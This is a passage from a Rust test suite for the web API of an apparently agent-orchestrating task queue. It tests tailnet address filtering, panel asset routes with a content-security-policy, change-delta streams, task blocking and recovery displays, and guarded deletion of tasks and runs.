22023                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
22024                let warning = warning.expect("a fallback has to explain itself");
22025                assert!(
22026                    warning.contains("127.0.0.1") && warning.contains("local-only"),
22027                    "the warning says what happened and what it costs: {warning}"
22028                );
22029            }
22030        }
22031    }
22032
22033    #[test]
22034    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
22035        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
22036        // boundary cases are what stop us binding to some other tool's idea of
22037        // an address.
22038        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
22039        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
22040        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
22041        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
22042        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
22043    }
22044
22045    #[test]
22046    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
22047        let ids = vec![
22048            "20260902-140501-aaaa".to_owned(),
22049            "20260902-140502-aabb".to_owned(),
22050        ];
22051
22052        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
22053        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
22054        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
22055
22056        assert_eq!(missing.status, StatusCode::NOT_FOUND);
22057        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
22058        assert_eq!(short, "20260902-140502-aabb");
22059    }
22060    #[tokio::test]
22061    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
22062        // The prompt tells agents to reference attachments by bare filename.
22063        // A document served at `.../panel` resolves `shot.png` against its own
22064        // directory, i.e. `.../shot.png`, which is not the asset route - so a
22065        // panel written exactly as instructed showed broken images. Caught by
22066        // looking at a real one in a browser, not by reading the code.
22067        let fx = Fixture::start().await;
22068        let id = panel(
22069            &fx,
22070            "<img src=\"shot.png\">",
22071            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
22072        );
22073
22074        // The frame's own URL ends in a filename, so its siblings are reachable.
22075        let doc = fx
22076            .get(&format!("/api/questions/{id}/panel/index.html"))
22077            .await;
22078        assert_eq!(doc.status, 200, "{}", doc.body);
22079        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
22080
22081        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
22082        assert_eq!(sibling.status, 200, "{}", sibling.body);
22083        assert_eq!(sibling.header("content-type"), Some("image/png"));
22084        assert_eq!(
22085            sibling.header("content-security-policy"),
22086            Some(PANEL_CSP),
22087            "the sibling route must carry the same policy as the asset route"
22088        );
22089
22090        // The original spelling keeps working: HEAD on it is how the front end
22091        // decides whether to mount a frame at all.
22092        assert_eq!(
22093            fx.head(&format!("/api/questions/{id}/panel")).await.status,
22094            200
22095        );
22096    }
22097
22098    #[test]
22099    fn delta_stamps_cover_add_update_remove_and_noop() {
22100        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
22101        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
22102        let delta = diff_stamps(&before, &after, 42);
22103        assert_eq!(delta.base, 42);
22104        assert_eq!(delta.changed, ["b", "c"]);
22105        assert_eq!(delta.removed, ["a"]);
22106        let same = diff_stamps(&after, &after, 43);
22107        assert!(same.changed.is_empty() && same.removed.is_empty());
22108        assert_ne!(stamps_revision(&before), stamps_revision(&after));
22109        let nanos: Stamps = [("b".into(), (2, 20))].into();
22110        let same_ms: Stamps = [("b".into(), (3, 20))].into();
22111        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
22112        assert_eq!(stamps_revision(&Stamps::new()), 0);
22113    }
22114
22115    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
22116        std::fs::create_dir_all(home.join("runs")).unwrap();
22117        Arc::new(
22118            Ui::new(
22119                Queue::at(home.join("queue")),
22120                Questions::at(home.join("questions")),
22121                Talks::at(home.join("talks")),
22122                home.join("runs"),
22123                home.to_owned(),
22124                PathBuf::from("/repo/magi"),
22125            )
22126            .with_worktrees_root(home.join("wt")),
22127        )
22128    }
22129
22130    #[test]
22131    fn monitor_scan_isolates_store_failures_and_recovers() {
22132        let home = TempDir::new().unwrap();
22133        let ui = delta_test_ui(home.path());
22134        std::fs::create_dir_all(ui.questions.root()).unwrap();
22135        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
22136        let before = monitor_scan(&ui, None);
22137        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
22138        std::fs::write(ui.questions.root(), "not a directory").unwrap();
22139        std::fs::create_dir_all(ui.talks.root()).unwrap();
22140        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
22141        let during = monitor_scan(&ui, Some(before.clone()));
22142        assert_eq!(during.0.2, before.0.2);
22143        assert_ne!(during.0.3, before.0.3);
22144        assert!(during.1[2].contains_key("new"));
22145        std::fs::remove_file(ui.questions.root()).unwrap();
22146        let after = monitor_scan(&ui, Some(during));
22147        assert_eq!(after.0.2, 0);
22148        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
22149        // A failed first scan also permits healthy stores to publish.
22150        std::fs::write(ui.questions.root(), "not a directory").unwrap();
22151        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
22152    }
22153
22154    #[tokio::test]
22155    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
22156        let home = TempDir::new().unwrap();
22157        let ui = delta_test_ui(home.path());
22158        let mut task = Task::new(
22159            "stream task".into(),
22160            "text".into(),
22161            PathBuf::from("/repo"),
22162            Source::Human,
22163        );
22164        ui.queue.put(&mut task).unwrap();
22165        let response = events(State(ui.clone())).await.into_response();
22166        let mut stream = response.into_body().into_data_stream();
22167        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
22168            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
22169                .await
22170                .unwrap()
22171                .unwrap()
22172                .unwrap();
22173            let text = String::from_utf8(chunk.to_vec()).unwrap();
22174            let data = text
22175                .lines()
22176                .find_map(|line| {
22177                    line.strip_prefix("data: ")
22178                        .or_else(|| line.strip_prefix("data:"))
22179                })
22180                .unwrap();
22181            serde_json::from_str(data).unwrap()
22182        }
22183        let initial = change(&mut stream).await;
22184        assert!(initial.get("queue_delta").is_none());
22185        task.instruction.push_str(" changed");
22186        ui.queue.put(&mut task).unwrap();
22187        let updated = change(&mut stream).await;
22188        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
22189        assert_eq!(
22190            updated["queue_delta"]["changed"],
22191            serde_json::json!([task.id])
22192        );
22193        assert_eq!(
22194            updated["queue_rev"].as_u64(),
22195            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
22196        );
22197        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
22198        let removed = change(&mut stream).await;
22199        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
22200        assert_eq!(
22201            removed["queue_delta"]["removed"],
22202            serde_json::json!([task.id])
22203        );
22204    }
22205
22206    #[tokio::test]
22207    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
22208        let home = TempDir::new().unwrap();
22209        let ui = delta_test_ui(home.path());
22210        let queue = ui.queue.clone();
22211        let query = |ids: Option<&str>| {
22212            Query(ListQuery {
22213                limit: Some(2),
22214                ids: ids.map(str::to_owned),
22215            })
22216        };
22217        let mut root = Task::new(
22218            "root".into(),
22219            "instruction".into(),
22220            PathBuf::from("/repo"),
22221            Source::Human,
22222        );
22223        queue.put(&mut root).unwrap();
22224        let mut blocked = Task::new(
22225            "blocked".into(),
22226            "instruction".into(),
22227            PathBuf::from("/repo"),
22228            Source::Human,
22229        );
22230        blocked.block(vec![root.id.clone()], None);
22231        queue.put(&mut blocked).unwrap();
22232        let whole =
22233            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
22234                .unwrap();
22235        let subset = serde_json::to_value(
22236            queue_list(State(ui.clone()), query(Some(&root.id)))
22237                .await
22238                .unwrap()
22239                .0,
22240        )
22241        .unwrap();
22242        assert_eq!(whole, subset, "requested root plus its blocked dependent");
22243        let blockers = serde_json::to_value(
22244            queue_list(State(ui.clone()), query(Some("")))
22245                .await
22246                .unwrap()
22247                .0,
22248        )
22249        .unwrap();
22250        assert_eq!(blockers.as_array().unwrap().len(), 1);
22251        assert_eq!(blockers[0]["id"], blocked.id);
22252        assert_eq!(
22253            blockers[0]["waits_on"],
22254            whole
22255                .as_array()
22256                .unwrap()
22257                .iter()
22258                .find(|row| row["id"] == blocked.id)
22259                .unwrap()["waits_on"]
22260        );
22261
22262        for id in [
22263            "20260902-140501-aaaa",
22264            "20260902-140502-bbbb",
22265            "20260902-140503-cccc",
22266        ] {
22267            write_run(&ui.runs, id, RunStatus::Merged);
22268        }
22269        let old = serde_json::to_value(
22270            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
22271                .await
22272                .unwrap()
22273                .0,
22274        )
22275        .unwrap();
22276        assert!(
22277            old.as_array().unwrap().is_empty(),
22278            "older updates must not enter the window"
22279        );
22280        let newest = serde_json::to_value(
22281            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
22282                .await
22283                .unwrap()
22284                .0,
22285        )
22286        .unwrap();
22287        assert_eq!(newest.as_array().unwrap().len(), 1);
22288        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
22289
22290        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
22291        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
22292        let talks = serde_json::to_value(
22293            talks_list(
22294                State(ui.clone()),
22295                query(Some("20260905-000000-d4e5")),
22296                header::HeaderMap::new(),
22297            )
22298            .await
22299            .unwrap()
22300            .0,
22301        )
22302        .unwrap();
22303        assert_eq!(talks.as_array().unwrap().len(), 1);
22304        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
22305        assert_eq!(
22306            serde_json::to_value(
22307                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
22308                    .await
22309                    .unwrap()
22310                    .0
22311            )
22312            .unwrap(),
22313            serde_json::json!([])
22314        );
22315    }
22316
22317    #[tokio::test]
22318    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
22319    async fn delta_payload_benchmark() {
22320        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
22321        let ui = delta_test_ui(&home);
22322        let query = |ids: Option<String>| {
22323            Query(ListQuery {
22324                limit: Some(50),
22325                ids,
22326            })
22327        };
22328        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
22329        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
22330        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
22331            .await
22332            .unwrap()
22333            .0;
22334        let queue_id = queue
22335            .iter()
22336            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
22337            .unwrap_or(&queue[0])
22338            .task
22339            .id
22340            .clone();
22341        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
22342            .await
22343            .unwrap()
22344            .0;
22345        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
22346            .await
22347            .unwrap()
22348            .0;
22349        let talks_delta = talks_list(
22350            State(ui.clone()),
22351            query(Some(talks[0].id.clone())),
22352            header::HeaderMap::new(),
22353        )
22354        .await
22355        .unwrap()
22356        .0;
22357        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
22358        eprintln!(
22359            "DELTA_PAYLOAD {}",
22360            serde_json::json!({
22361                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
22362                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
22363                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
22364                "counts": [queue.len(), runs.len(), talks.len()],
22365                "blocked": queue_delta.len() - 1,
22366            })
22367        );
22368    }
22369
22370    #[test]
22371    fn runs_revision_moves_when_deleting_an_older_run() {
22372        let temp = TempDir::new().expect("tempdir");
22373        let runs = temp.path().join("runs");
22374        std::fs::create_dir_all(&runs).expect("create runs dir");
22375
22376        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
22377
22378        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
22379        std::thread::sleep(Duration::from_millis(10));
22380        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
22381
22382        let rev_before = runs_revision(&runs);
22383        assert!(rev_before > 0);
22384
22385        let old_dir = runs.join("20260901-100000-old1");
22386        std::fs::remove_dir_all(&old_dir).expect("remove old run");
22387
22388        let rev_after = runs_revision(&runs);
22389        assert_ne!(
22390            rev_before, rev_after,
22391            "deleting an older run must change the revision so other clients see the deletion"
22392        );
22393    }
22394
22395    /// A run's own `run.json` on an explicit `runs` root, bypassing the
22396    /// process-global home entirely — `RunState::save` writes through
22397    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
22398    /// (see `tests::home_lock` in the integration suite for why).
22399    fn write_state(runs: &FsPath, state: &RunState) {
22400        let dir = runs.join(&state.id);
22401        std::fs::create_dir_all(&dir).expect("run dir");
22402        std::fs::write(
22403            dir.join("run.json"),
22404            serde_json::to_string_pretty(state).expect("serialize run"),
22405        )
22406        .expect("write run.json");
22407    }
22408
22409    /// A seat starting or finishing is a write to `run.json` like any other,
22410    /// so it moves the same revision the change stream already watches —
22411    /// nothing new for `/api/events` to learn, but the property this feature
22412    /// depends on to reach the phone without a poll.
22413    #[test]
22414    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
22415        let temp = TempDir::new().expect("tempdir");
22416        let runs = temp.path().join("runs");
22417        std::fs::create_dir_all(&runs).expect("create runs dir");
22418        let mut state = RunState::new(
22419            PathBuf::from("/repo/magi"),
22420            "main".to_owned(),
22421            "0123456789abcdef".to_owned(),
22422            "task".to_owned(),
22423            Config::default(),
22424        );
22425        state.id = "20260902-100000-c0de".to_owned();
22426        write_state(&runs, &state);
22427
22428        let rev_idle = runs_revision(&runs);
22429        std::thread::sleep(Duration::from_millis(10));
22430        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
22431        write_state(&runs, &state);
22432        let rev_started = runs_revision(&runs);
22433        assert_ne!(
22434            rev_idle, rev_started,
22435            "a seat starting must move the revision"
22436        );
22437
22438        std::thread::sleep(Duration::from_millis(10));
22439        state.seat_finished("judge-1");
22440        write_state(&runs, &state);
22441        let rev_finished = runs_revision(&runs);
22442        assert_ne!(
22443            rev_started, rev_finished,
22444            "and clearing it again must move the revision a second time"
22445        );
22446    }
22447
22448    #[tokio::test]
22449    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
22450        // `TaskView` flattens `Task`, so this is really asserting that
22451        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
22452        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
22453        // never touched web.rs, so nothing here caught it if it had.
22454        let fx = Fixture::start().await;
22455        let q = fx.queue();
22456
22457        let mut t = Task::new(
22458            "Task".to_owned(),
22459            "Instruction".to_owned(),
22460            PathBuf::from("/repo"),
22461            Source::Human,
22462        );
22463        t.block(
22464            vec!["20260101-000000-dead".to_owned()],
22465            Some("waiting on Task 1".to_owned()),
22466        );
22467        t.answers.push(crate::queue::AnsweredQuestion {
22468            question: "Which backend?".to_owned(),
22469            answer: "SQLite".to_owned(),
22470        });
22471        q.put(&mut t).expect("put t");
22472
22473        let res = fx.get("/api/queue").await;
22474        assert_eq!(res.status, 200);
22475        let list = res.json();
22476        let view = list
22477            .as_array()
22478            .expect("array")
22479            .iter()
22480            .find(|v| v["id"] == t.id)
22481            .expect("task in list");
22482        assert_eq!(view["status_str"], "blocked");
22483        assert_eq!(
22484            view["blocked_by"],
22485            serde_json::json!(["20260101-000000-dead"])
22486        );
22487        assert_eq!(view["block_reason"], "waiting on Task 1");
22488        assert_eq!(view["answers"][0]["question"], "Which backend?");
22489        assert_eq!(view["answers"][0]["answer"], "SQLite");
22490
22491        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
22492        // but never `answers` - that is a settled decision, not state
22493        // describing the current block, so it survives.
22494        let res = fx
22495            .post(&format!("/api/queue/{}/hold", t.short()), None)
22496            .await;
22497        assert_eq!(res.status, 200);
22498        let held = res.json();
22499        assert_eq!(held["status_str"], "held");
22500        assert_eq!(held["blocked_by"], serde_json::json!([]));
22501        assert!(held["block_reason"].is_null());
22502        assert_eq!(held["answers"][0]["answer"], "SQLite");
22503    }
22504
22505    #[tokio::test]
22506    async fn task_recovery_pending_decisions_block_disk_autoresume() {
22507        let fx = Fixture::start().await;
22508        let queue = fx.queue();
22509        let questions = fx.questions();
22510        let mut task = Task::new(
22511            "Disk recovery".into(),
22512            "Inspect".into(),
22513            PathBuf::from("/repo"),
22514            Source::Human,
22515        );
22516        task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
22517        task.mark_disk_capacity();
22518        queue.put(&mut task).unwrap();
22519        let mut records = Vec::new();
22520        for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
22521            let mut q = Question::new(
22522                task.id.clone(),
22523                node.into(),
22524                "triage".into(),
22525                "Resume recovery?".into(),
22526                String::new(),
22527                vec![],
22528            );
22529            q.routed_task = Some(task.id.clone());
22530            questions.put(&mut q).unwrap();
22531            records.push(q);
22532        }
22533        let url = format!("/api/queue/{}", task.id);
22534        let view = fx.get(&url).await.json();
22535        assert_eq!(view["status_str"], "held");
22536        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22537        assert!(
22538            view["recovery"]
22539                .as_str()
22540                .unwrap()
22541                .contains("Disk recovery alone will not resume")
22542        );
22543        assert!(
22544            view["recovery"]
22545                .as_str()
22546                .unwrap()
22547                .contains("Disk wait (automatically monitored)")
22548        );
22549        for blocker in view["blockers"].as_array().unwrap() {
22550            assert!(blocker["destination"].is_null());
22551            assert!(
22552                blocker["next"]
22553                    .as_str()
22554                    .unwrap()
22555                    .contains("pending delivery")
22556            );
22557        }
22558        for q in &mut records {
22559            q.routed_chat = Some("owning-chat".into());
22560            questions.put(q).unwrap();
22561        }
22562        let view = fx.get(&url).await.json();
22563        for blocker in view["blockers"].as_array().unwrap() {
22564            assert_eq!(
22565                blocker["destination"],
22566                serde_json::json!(["chat", "owning-chat"])
22567            );
22568            assert_eq!(blocker["resolves_itself"], false);
22569        }
22570        // Answered routed decisions can still be awaiting task-chat application.
22571        for q in &mut records {
22572            q.status = ask::QuestionStatus::Answered;
22573            questions.put(q).unwrap();
22574        }
22575        assert!(crate::triage::pending_for(&questions, &task));
22576        let view = fx.get(&url).await.json();
22577        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22578        assert!(
22579            view["blockers"][0]["next"]
22580                .as_str()
22581                .unwrap()
22582                .contains("not yet applied")
22583        );
22584        for q in &records {
22585            task.mark_triage_applied(&q.id);
22586        }
22587        queue.put(&mut task).unwrap();
22588        assert!(!crate::triage::pending_for(&questions, &task));
22589        assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
22590        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
22591    }
22592
22593    #[test]
22594    fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
22595        use crate::queue::HoldSource;
22596        let mut task = Task::new(
22597            "Recovery".into(),
22598            "Inspect".into(),
22599            PathBuf::from("/repo"),
22600            Source::Human,
22601        );
22602        assert!(task_recovery(&task).is_none());
22603        task.hold_manual(Some("Operator paused".into()));
22604        assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
22605        task.block(vec!["dependency".into()], Some("Decision needed".into()));
22606        let text = task_recovery(&task).unwrap();
22607        assert!(text.contains("restores held"));
22608        assert!(text.contains("clears its dependency references"));
22609        task.hold_source = Some(HoldSource::Machine);
22610        task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
22611        task.mark_disk_capacity();
22612        let view = TaskView::with_inventory(
22613            task.clone(),
22614            &crate::blockers::Inventory::new(vec![task.clone()], &[]),
22615        );
22616        let json = serde_json::to_value(view).unwrap();
22617        assert_eq!(json["block_reason"], "Decision needed");
22618        assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
22619        let recovery = json["recovery"].as_str().unwrap();
22620        assert!(recovery.contains("not current capacity"));
22621        assert!(recovery.contains("triage rechecks"));
22622        assert_eq!(json["blockers"][0]["state"], "missing");
22623        task.blocked_from = Some(TaskStatus::Queued);
22624        assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
22625        task.blocked_from = None;
22626        assert!(task_recovery(&task).unwrap().contains("restores held"));
22627    }
22628
22629    #[tokio::test]
22630    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
22631        let fx = Fixture::start().await;
22632        let q = fx.queue();
22633        let mk = |title: &str| {
22634            Task::new(
22635                title.to_owned(),
22636                "Instruction".to_owned(),
22637                PathBuf::from("/repo"),
22638                Source::Human,
22639            )
22640        };
22641        let mut root = mk("root");
22642        root.hold_manual(Some("waiting".to_owned()));
22643        q.put(&mut root).unwrap();
22644        let mut mid = mk("mid");
22645        mid.block(vec![root.id.clone()], None);
22646        q.put(&mut mid).unwrap();
22647        let mut leaf = mk("leaf");
22648        leaf.block(vec![mid.id.clone()], None);
22649        q.put(&mut leaf).unwrap();
22650
22651        let list = fx.get("/api/queue").await.json();
22652        let find = |id: &str| {
22653            list.as_array()
22654                .unwrap()
22655                .iter()
22656                .find(|v| v["id"] == id)
22657                .unwrap()
22658                .clone()
22659        };
22660        let leaf_view = find(&leaf.id);
22661        assert_eq!(
22662            leaf_view["waits_on"],
22663            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
22664        );
22665        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
22666        assert_eq!(
22667            find(&mid.id)["waits_on"],
22668            serde_json::json!([format!("{} (held)", root.short())])
22669        );
22670        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
22671    }
22672
22673    #[tokio::test]
22674    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
22675        let fx = Fixture::start().await;
22676        let q = fx.queue();
22677
22678        // 1. A queued task with runs attached can be deleted.
22679        let mut t1 = Task::new(
22680            "Task 1".to_owned(),
22681            "Instruction 1".to_owned(),
22682            PathBuf::from("/repo"),
22683            Source::Human,
22684        );
22685        let run_id = "20260901-000000-r111";
22686        t1.runs.push(run_id.to_owned());
22687        write_run(&fx.runs(), run_id, RunStatus::Merged);
22688        q.put(&mut t1).expect("put t1");
22689
22690        // Delete by short id
22691        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
22692        assert_eq!(res.status, 204);
22693        assert!(res.body.is_empty(), "204 No Content has no body");
22694        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
22695        assert!(
22696            fx.runs().join(run_id).exists(),
22697            "run directory must not be deleted when its task is deleted"
22698        );
22699
22700        // 2. A task a live daemon is running is refused with 409.
22701        let mut t2 = Task::new(
22702            "Task 2".to_owned(),
22703            "Instruction 2".to_owned(),
22704            PathBuf::from("/repo"),
22705            Source::Human,
22706        );
22707        t2.status = TaskStatus::Running;
22708        q.put(&mut t2).expect("put t2");
22709        let mut beat = crate::daemon::Status::new();
22710        beat.current = vec![crate::daemon::Current {
22711            worker: None,
22712            task: t2.id.clone(),
22713            run: "20260901-000000-r222".to_owned(),
22714        }];
22715        beat.updated_at = jiff::Timestamp::now();
22716        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22717            .expect("publish a heartbeat");
22718        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
22719        assert_eq!(res.status, 409);
22720        assert!(
22721            res.json()["error"]
22722                .as_str()
22723                .unwrap()
22724                .contains("live daemon")
22725        );
22726        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
22727
22728        // 3. The same `running` status and an orphaned lock, with no daemon
22729        // behind either, is a leftover and deletable. Before this the phone
22730        // refused it for good: the status never changes on its own and
22731        // nothing drops a lock whose process is gone.
22732        // The daemon is killed: the file stays, the heartbeat stops.
22733        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
22734        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22735            .expect("leave a stale heartbeat");
22736        let mut t3 = Task::new(
22737            "Task 3".to_owned(),
22738            "Instruction 3".to_owned(),
22739            PathBuf::from("/repo"),
22740            Source::Human,
22741        );
22742        t3.status = TaskStatus::Running;
22743        q.put(&mut t3).expect("put t3");
22744        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
22745        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
22746        assert_eq!(res.status, 204);
22747        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
22748        assert!(
22749            q.claim(&t3.id).is_ok(),
22750            "the stale lock went with it, so the id is claimable again"
22751        );
22752
22753        // 4. Missing id returns 404
22754        let res = fx.delete("/api/queue/nonexistent").await;
22755        assert_eq!(res.status, 404);
22756    }
22757
22758    #[tokio::test]
22759    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
22760        let fx = Fixture::start().await;
22761        let runs = fx.runs();
22762
22763        // 1. Finished and folded run can be deleted along with artifacts
22764        let run_id = "20260901-000000-fold";
22765        let mut state = RunState::new(
22766            PathBuf::from("/repo"),
22767            "main".to_owned(),
22768            "abc".to_owned(),
22769            "instruction".to_owned(),
22770            Config::default(),
22771        );
22772        state.id = run_id.to_owned();
22773        state.status = RunStatus::Merged;
22774        state.candidates.push(crate::run::Candidate {
22775            index: 0,
22776            label: 'A',
22777            agent: "a".to_owned(),
22778            branch: "b".to_owned(),
22779            worktree: PathBuf::from("/w"),
22780            summary: String::new(),
22781            stat: String::new(),
22782            files: 1,
22783            commits: 1,
22784            empty: false,
22785            failed: None,
22786            verified_noop: None,
22787            duration_ms: 0,
22788            folded: true,
22789        });
22790        let dir = runs.join(run_id);
22791        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
22792        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
22793            .expect("write artifact");
22794        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
22795            .expect("write run.json");
22796
22797        // Delete by short id
22798        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
22799        assert_eq!(res.status, 204);
22800        assert!(res.body.is_empty(), "204 has no body");
22801        assert!(!dir.exists(), "run directory and artifacts must be deleted");
22802
22803        // 2. A run a live daemon is working on is refused with 409. The
22804        // heartbeat is what makes it refusable: an unfinished run with no
22805        // daemon behind it is a leftover from a killed process, and case 1
22806        // above would otherwise be impossible to tell apart from this one.
22807        let run_running = "20260901-000000-rung";
22808        write_run(&runs, run_running, RunStatus::Prep);
22809        let mut beat = crate::daemon::Status::new();
22810        beat.current = vec![crate::daemon::Current {
22811            worker: None,
22812            task: "20260901-000000-task".to_owned(),
22813            run: run_running.to_owned(),
22814        }];
22815        beat.updated_at = jiff::Timestamp::now();
22816        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22817            .expect("publish a heartbeat");
22818        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
22819        assert_eq!(res.status, 409);
22820        assert!(
22821            res.json()["error"]
22822                .as_str()
22823                .unwrap()
22824                .contains("live daemon"),
22825            "the refusal must say who is holding it"
22826        );
22827        assert!(
22828            runs.join(run_running).exists(),
22829            "a run in flight keeps its directory"
22830        );
22831
22832        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
22833        let run_unfolded = "20260901-000000-unfd";
22834        let mut state2 = RunState::new(
22835            PathBuf::from("/repo"),
22836            "main".to_owned(),
22837            "abc".to_owned(),
22838            "instruction".to_owned(),
22839            Config::default(),
22840        );
22841        state2.id = run_unfolded.to_owned();
22842        state2.status = RunStatus::Ready;
22843        state2.candidates.push(crate::run::Candidate {
22844            index: 0,
22845            label: 'A',
22846            agent: "a".to_owned(),
22847            branch: "b".to_owned(),
22848            worktree: PathBuf::from("/w"),
22849            summary: String::new(),
22850            stat: String::new(),
22851            files: 1,
22852            commits: 1,
22853            empty: false,
22854            failed: None,
22855            verified_noop: None,
22856            duration_ms: 0,
22857            folded: false,
22858        });
22859        let dir2 = runs.join(run_unfolded);
22860        std::fs::create_dir_all(&dir2).expect("create dir2");
22861        std::fs::write(
22862            dir2.join("run.json"),
22863            serde_json::to_string(&state2).unwrap(),
22864        )
22865        .expect("write run.json");
22866
22867        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
22868        assert_eq!(res.status, 409);
22869        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
22870        assert!(dir2.exists(), "unfolded run directory is kept");
22871
22872        // 4. Missing id returns 404
22873        let res = fx.delete("/api/runs/nonexistent").await;
22874        assert_eq!(res.status, 404);
22875    }
22876
22877    /// The queue tiles on the Stats tab must render even on a home with no
22878    /// runs at all: queue state is not derived from run history, so hiding
22879    /// the whole dashboard body behind "no runs yet" would drop the one
22880    /// thing this tab promises unconditionally (queued/running/held/done).
22881    /// A DOM-level test would need a browser this suite does not have, so
22882    /// this pins the same invariant textually: `renderStatsQueue` is called
22883    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
22884    /// block that gates the run-derived panels.
22885    #[test]
22886    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
22887        let start = APP_JS
22888            .find("function renderStats() {")
22889            .expect("renderStats");
22890        let end = start
22891            + APP_JS[start..]
22892                .find("function statsTile(")
22893                .expect("the next top-level function");
